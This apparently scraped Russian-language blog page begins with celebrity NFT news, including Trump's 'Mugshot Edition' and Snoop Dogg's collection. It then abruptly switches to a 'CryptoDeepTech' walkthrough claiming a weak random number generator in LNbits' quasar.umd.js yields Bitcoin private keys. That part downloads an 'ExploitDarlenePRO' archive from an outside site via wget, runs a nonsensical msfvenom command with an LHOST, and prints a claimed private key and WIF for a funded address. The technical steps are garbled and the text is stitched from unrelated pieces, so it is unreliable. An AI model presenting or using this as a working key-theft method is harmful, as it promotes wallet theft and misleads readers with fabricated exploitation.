Бывший президент США Дональд Трамп радует своих фанатов новой коллекцией невзаимозаменяемых токенов (NFT) под названием "Mugshot Edition". В рамках этой коллекции Трамп разыграет среди покупателей фотографии с его автографом и изображением части костюма, который он носил во время своего ареста. Те, кто купят достаточное количество токенов, получат возможность посетить торжественный ужин с политиком и эксклюзивные физические карточки с фрагментами костюма.

Новая серия NFT от Трампа привлекает внимание фанатов и коллекционеров. Ограниченный тираж физических карточек и подписание их самим политиком делают их особенно ценными сувенирами. Продажи токенов уже показывают высокий спрос, и объем торгов первых коллекций NFT от Трампа значительно вырос после анонса "Mugshot Edition".

Стараясь не упустить возможность взять участие в этом интересном проекте от бывшего президента, фанаты и коллекционеры с нетерпением ожидают больше информации о коллекции и шансе получить редкие предметы, связанные с историческими событиями.

↓ Если вам интересна тема криптовалюты ↓

Телеграм канал - https://t.me/+20t08Vko72MzNDcy

В коллекции Снуп Догга почти 28 тыс. NFT из 2030 серий. Одни из самых дорогих — токены Bored Ape Yacht Club и CryptoPunks. Больше всего в кошельке рэпера стоит изображение обезьяны — около $76 тыс. Снуп Догг приобрел ее чуть более 2 лет назад за сумму в половину ниже текущей. В 2022 году изображение персонажа участвовало в создании музыкального ролика к треку From The D 2 The LBC. Видео посмотрели 89 млн раз.

Снуп Догг пошел дальше коллекционирования и выпустил несколько собственных серий NFT. Их продажи также имели успех. Одна из коллекций — токены для NFT Nyan Cat. В них вместо кота из мемов по вселенной летит пес в кепке и очках, похожий на Снуп Догга.

Музыкант вложил средства в разные криптопроекты, включая платежную систему MoonPay. Сервис помогает обменивать криптовалюты и традиционные деньги между собой. С его помощью можно купить цифровые активы с обычной банковской карты. С MoonPay сотрудничает самая большая криптовалютная биржа по количеству торгов — Binance.

Это не единственная инвестиция рэпера Snoop Dogg в стартапы, связанные с блокчейном. Также он финансировал проект Sound NFT, ресторанный холдинг The Food Fighters Universe NFT, а также коллекцию NFT Clay Nation и блокчейн-игру MOBLAND.

Madonna

Королева поп-музыки, как и Snoop Dogg, инвестирует в невзаимозаменяемые токены (NFT). В 2022 году певица потратила $564 тыс. на покупку одного лота. Им стала собственная цифровая обезьяна от лаборатории Bored Ape. Для Мадонны это был первый опыт покупки цифрового искусства на блокчейне. О нем певица сообщила в социальных сетях и попросила совета у подписчиков по выбору имени.

Пэрис Хилтон

Недавно светской львице из Нью-Йорка и наследнице сети отелей исполнилось 40 лет. С детства Пэрис росла в окружении семейной бизнес-империи. О криптовалютах дива узнала в 2016 году в момент знакомства с основателями сети Ethereum. С тех пор знаменитость приобщилась к индустрии. Она стала коллекционером цифрового искусства в NFT, а также начала инвестировать в криптопроекты. Знаменитость купила уже несколько десятков цифровых лотов, включая работы дорогостоящих современных художников — Граймса и Стива Аоки.

Пэрис также инвестировала в платформу для NFT под названием Origin Protocol. По ее словам, будущее искусства в цифровом виде поможет вернуть власть в руки создателей.

Позднее наследница гостиничной империи запустила собственную серию невзаимозаменяемых токенов под названием Iconic Crypto Queen. Коллекция принесла ей $1,1 млн. Также дива заявила о создании онлайн-острова для вечеринок — Paris World. По мнению Хилтон, будущее NFT и криптовалюты будет связано с виртуальными мероприятиями и общением, как в соцсетях. Также знаменитость сообщила о возможности выпуска новой коллекции NFT по мотивам собственной жизни.

Риз Уизеспун 

Актриса Риз Уизерспун, несмотря на клише «Блондинки в законе», создала компанию по продюсированию фильмов. В результате были сняты и выпущены в прокат более 10 полнометражных картин и 11 сериалов. Как правило, это драмы о самостоятельных волевых женщинах. В их основу легли книги современных писателей, которые стали бестселлерами. Среди работ — драма о путешественнице «Дикая», сериал «Большая маленькая ложь» и триллер «Исчезнувшая».

Риз поддерживает несколько фондов помощи женщинам в трудных ситуациях. Это направление свело Уизерспун с криптомиром, а именно — с художницами сообщества WoW. Полное название — «Мир Женщин» (World of Women). 

Сообщество появилось в июле 2021 года с коллекцией NFT. Серия состояла из 10 тыс. цифровых произведений искусства и иллюстраций от современных художниц. Это позволило WoW стать одним из ведущих производителей NFT.

Уизерспун пошла дальше инвестирования в NFT или коллекционирования цифровых активов. Актриса заключила партнерство с организацией для использования работ в своих проектах. Этот шаг помогает в популяризации блокчейн-искусства и взаимопомощи.

Компания Hello Sunshine (название продюсерского центра под руководством актрисы) разработает несколько персонажей совместно с сообществом WoW и создаст франшизу для развлекательных проектов. По ней будут выпускаться художественные фильмы и TV-сериалы.

Токены WoW стоят несколько тысяч долларов. Три из десяти самых дорогостоящих NFT в кошельке Снуп Догга созданы художницами этой NFT-серии. 

Майк Тайсон 

Закончив профессиональную карьеру боксера, спортсмен продолжает оставаться медийной личностью. Сейчас 57-летний Майк берет интервью и публикует видео в своем подкасте про спорт, в частности бокс. Также он управляет собственным брендом одежды. В 2021 году Тайсон присоединился к культуре NFT. Совместно с иллюстратором Кори Ван Лью легендарный спортсмен выпустил коллекцию невзаимозаменяемых токенов. Среди карточек можно найти моменты из наиболее знаменитых поединков в карьере Тайсона. 

Однако самым популярными стали изображения Майка Тайсона с лазерным зрением. Продажи токенов из сборника LASER EYEZ принесли боксеру более $10 млн. Коллекция пользовалась успехом в 2021 году, а в 2022-м биржа Binance провела релиз секретных коробок с NFT от Майка Тайсона. Фанаты спортсмена из пользователей биржи могли приобрести уникальные изображения. Всего было выпущено 15 тыс. таких наборов по цене $44. Их полностью раскупили.

В этой статье мы заострим внимание на приложение для смартфонов iOS и Android популярный Биткоин Кошелек с поддержкой быстрых платежей через (Lightning network) BLW: Bitcoin Lightning Wallet. К большому сожалению многие автономные ноды мобильных приложении с открытым исходным кодом от LNbits Node Manager и Core Lightning подвергает ВЫСОКЕМУ РИСКУ потери всех денежных средств в различных криптовалютных монетах.

Разработчик David Shares из японской компании Bitcoin Portal опубликовал множество документов.

Разберем теоретическую основу: LNbits – это бесплатная система учетных записей для многих мобильных приложении которые работают с различными криптовалютными кошельками. Изначально широкую популярность LNbits Node Manager получила с развитием Bitcoin Lightning Wallet (BLW) т.к. развитие некастодиальных и автономных нодов для Bitcoin SPV, предназначенный для Android и iPhone с функциональностью Node.js. Благодаря автономным нодам вы имеете полный контроль над своим средством и вам необходимо самостоятельно управлять своими платежными средствами (в отличие от других мобильных приложении с криптовалютными кошельками).

Node Manager с открытым исходным кодом LNbits решает несколько задач, таких как:

• Сбор бумажных цен на монет BTC, ETH, LTC, USDT, XLM, BNB, и.т.д

• Ведение списка общедоступных нодов LNbits, которые Bitcoin Lightning Wallet (BLW) использует для открытия платежных каналов.

• Предоставление частичной оплаты платежных маршрутов.

• Хранение зашифрованной резервной копии вашего платежного канала.

LNbits node manager работает с сервисами:

Согласна примерам Salvador Guerrero многие кто установил LNBits на полноценный Биткоин-узел (Bitcoin Node) может работать на Raspberry Pi, чтобы отправлять и получать Bitcoin без комиссий за транзакции. Это возможно только в том случае, если все криптокошельки от LNbits находятся в одном экземпляре Core Lightning.

Разработчик David Shares из японской компании Bitcoin Portal опубликовал хронологический список, который показывает, что Lightning Network тонет в технических проблемах, ошибках, недостатках, критических замечаниях и эксплойтах. Это слишком обещанная технология, которая не обеспечивает децентрализации и еще далека от того, чтобы стать функциональной и безопасной для пользователей.

После детального изучение всех материалов из хронологического списка мы обратили внимание на уязвимость в фреймворке и на процесс работы в коде quasar.umd.js

Quasar – это фреймворк на основе Vue.js с открытым исходным кодом, который позволяет создавать адаптивные сайты и мобильные приложение для различных криптовалютных кошельков.

Как нам известно из источника Snyk Vulnerability Database в последних версиях Vue.js содержались уязвимости, что позволило версии LNbits v0.11.0 запустить серию циклических ошибок в коде quasar.umd.js

Ошибка в коде quasar.umd.js

GitHub Repo

В случае слабого генератора псевдослучайных чисел (PRNG) нам дается возможность получить SEED и полностью определить приватный ключ к Биткоин Кошельку, так как метод lib.getRandomValues теряет криптостойкость над случайным значением.

Перейдем к практической части:

(Вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab )

https://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV

https://github.com/demining/CryptoDeepTools/tree/main/26BitcoinLightningWalletVulnerability

Рассмотрим реальный пример извлечение приватного ключа Биткоин Кошелька из слабого генератора псевдослучайных чисел (PRNG) в коде quasar.umd.js

Биткоин Кошелек: В сентябре 2023 года была кража на сумму: 11032.77 долларов США // БИТКОИН: 0.30412330 BTC

Bitcoin_Lightning_Wallet_Vulnerability.ipynb

Откроем сервис Google Colab по ссылке: https://colab.research.google.com

Нажимаем на "+" и “Создаем новый блокнот”

Установим Ruby в Google Colab

Для запуска необходимых нам программ установим объектно-ориентированный язык программирования Ruby

!sudo apt install ruby-full

Проверим версию установки

!ruby --version

Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

Установим библиотеку 'bitcoin-ruby' для взаимодействия с протоколом/сетью Биткоин

!gem install bitcoin-ruby

Установим библиотеку 'ecdsa' для реализации алгоритма цифровой подписи на эллиптической кривой (ECDSA)

!gem install ecdsa

Установим библиотеку 'base58' для преобразования целых или двоичных чисел в base58 и обратно.

!gem install base58

Установим библиотеку 'crypto' чтобы упростить операции с байтами и основными криптографическими операциями

!gem install crypto

Установим библиотеку 'config-hash' чтобы упростить работу с большими данными.

!gem install config-hash -v 0.9.0

Установим Metasploit Framework и воспользуемся MSFVenom

Установим Metasploit Framework из GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Посмотрим содержимое папки "metasploit-framework"

ls

Опции:

!./msfvenom -help

Откроем код GitHub в воспользуемся уязвимым файлом: quasar.umd.js

В примечание мы видим ссылку на файл: quasar.umd.js

Откроем код:

LNbits, free and open-source Lightning wallet and accounts system

Установим lnbits в Google Colab:

!git clone https://github.com/lnbits/lnbits.git

ls

Откроем уязвимый файл: quasar.umd.js через утилиту cat

cat lnbits/lnbits/static/vendor/quasar.umd.js

Откроем папки по каталогу: /modules/exploits/

ExploitDarlenePRO

Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/

cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f221...

Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip

!unzip ExploitDarlenePRO.zip

Перейдем по каталогу: /ExploitDarlenePRO/

ls cd ExploitDarlenePRO/ ls

Для запуска эксплойта перейдем обратно к Metasploit Framework

cd / cd content/metasploit-framework/ ls

Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины.

Запустим команды:

!ip addr !hostname -I

Воспользуемся инструментом для создания полезной нагрузки MSFVenom

Для эксплуатации выбираем Биткоин Кошелек: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

https://btc1.trezor.io/address/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

Команда запуска:

!./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js

Результат:

111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011

Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo

Команда:

!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt

Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька:

Воспользуемся кодом:

Откроем файл: hex.txt

cat hex.txt

7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B

Приватный Ключ Найден!

Установим модуль Bitcoin

!pip3 install bitcoin

Запустим код для проверки соответствие Биткоин Адреса:

Откроем файл: privtoaddr.txt

cat privtoaddr.txt

Результат:

7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F WIF: L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP HEX: 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B

https://btc1.trezor.io/address/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

BALANCE: $ 11032.77

References:

• [1] A Cryptoeconomic Traffic Analysis of Bitcoins Lightning Network (Ferenc Beres, Istvan A. Seres, Andras A. Benczur)

• [2] Flood & Loot: A Systemic Attack On The Lightning Network (Jona Harris, Aviv Zohar)

• [3] Short Paper: A Centrality Analysis of the Lightning Network (Philipp Zabka, Klaus-T. Foerster, Christian Decker, Stefan Schmid)

• [4] Congestion Attacks in Payment Channel Networks (Ayelet Mizrahi, Aviv Zohar)

• [5] A Deep Dive Into Lightning as a Bitcoin Scaling Solution (George Kaloudis, Teddy Oosterbaan)

• [6] The Lightning Network is an overlay network powered by Bitcoin smart contracts it is NOT a blockchain (George Kaloudis, Teddy Oosterbaan)

• [7] Lightning Network Scalability Solutions (Joseph Poon, Thaddeus Dryja)

• [8] The Bitcoin Lightning Network DRAFT Version 0.5 (Joseph Poon, Thaddeus Dryja)

• [9] CoinPool efficient off-chain payment pools for Bitcoin (Gleb Naumenko, Antoine Riard)

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/ZpflbzENAAw

Источник: https://cryptodeep.ru/bitcoin-lightning-wallet-vulnerability

Криптоанализ